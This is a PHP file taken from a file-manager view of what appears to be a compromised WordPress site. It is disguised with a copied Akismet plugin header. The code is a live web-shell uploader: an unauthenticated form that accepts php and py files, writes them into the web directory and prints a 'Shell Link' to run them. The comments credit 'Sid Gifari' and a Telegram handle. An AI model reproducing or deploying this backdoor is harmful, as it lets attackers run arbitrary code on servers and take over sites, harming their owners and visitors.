File manager - Edit - /home/xfekoga/rooftopcleaners/wp-includes/widgets/sidup.php.tar
Back
home/xfekoga/rooftopcleaners/wp-content/themes/fitnessbase/inc/customizer/sidup.php 0000644 00000012250 15174424137 0025040 0 ustar 00 <?php /** * @package Akismet */ /* Plugin Name: Sid Gifari SEO Code Uplaoder Plugin URI: Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team Author URI: */ /* %s: Title of the post the attachment is attached to. */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /> </head> <body> <title>Sid Gifari SEO Code Uplaoder</title> <center><h1>Sid Gifari SEO Code Uplaoder</h1></center> <center><h4>Telegram:sidgifari</h4></center> <div align="center"> <img src = "https://i.imgur.com/FC1enOU.jpeg"width="200" height="150"></img> <div style="margin:1em auto; width:333px; text-align:center;"> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data"> Upload File: <input type="file" name="fileup" /><br/> <input type="submit" name='submit' value="Upload" /> </form> </div> <?php $uploadpath = './'; // directory to store the uploaded files $max_size = 2000; // maximum file size, in KiloBytes $alwidth = 900; // maximum allowed width, in pixels $alheight = 800; // maximum allowed height, in pixels $allowtype = array('txt', 'php', 'jpg', 'html', 'zip', 'gz', 'rar', 'py'); // allowed extensions if (isset($_FILES['fileup']) && strlen($_FILES['fileup']['name']) > 1) { $uploadpath = $uploadpath . basename($_FILES['fileup']['name']); // get the file name $sepext = explode('.', strtolower($_FILES['fileup']['name'])); $type = end($sepext); // extension list($width, $height) = getimagesize($_FILES['fileup']['tmp_name']); // image dims (if image) $err = ''; // collect errors // --- checks for allowed type, size, width and height (images) --- if (!in_array($type, $allowtype)) { $err .= 'The file: <b>' . $_FILES['fileup']['name'] . '</b> not has the allowed extension type.'; } if (isset($_FILES['fileup']['size']) && $_FILES['fileup']['size'] > $max_size * 5024) { $err .= '<br/>Maximum file size must be: ' . $max_size . ' KB.'; } if (isset($width) && isset($height) && ($width > $alwidth || $height > $alheight)) { $err .= '<br/>The maximum Width x Height must be: ' . $alwidth . ' x ' . $alheight; } // if no errors, move the uploaded file into place and print success messages if ($err == '') { if (move_uploaded_file($_FILES['fileup']['tmp_name'], $uploadpath)) { // Set file permissions to 0444 (read-only for everyone) if (chmod($uploadpath, 0400)) { echo 'Shell: <b>' . basename($_FILES['fileup']['name']) . '</b> Hey Sid! Your Seo Code Is upload Done !! :D'; echo '<br/>File type: <b>' . $_FILES['fileup']['type'] . '</b>'; echo '<br/>Size: <b>' . number_format($_FILES['fileup']['size'] / 5024, 3) . '</b> KB'; echo '<br/>File permissions set to: <b>0444 (read-only)</b>'; if (isset($width) && isset($height)) echo '<br/>Image Width x Height: ' . $width . ' x ' . $height; echo '<br/><br/>Shell Link: <b>http://' . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['REQUEST_URI']), '\\/') . '/' . $uploadpath . '</b>'; } else { echo '<b>File uploaded but unable to set permissions to 0444.</b>'; } } else { echo '<b>Unable to upload the file.</b>'; } } else { echo $err; } } ?> </body> </html>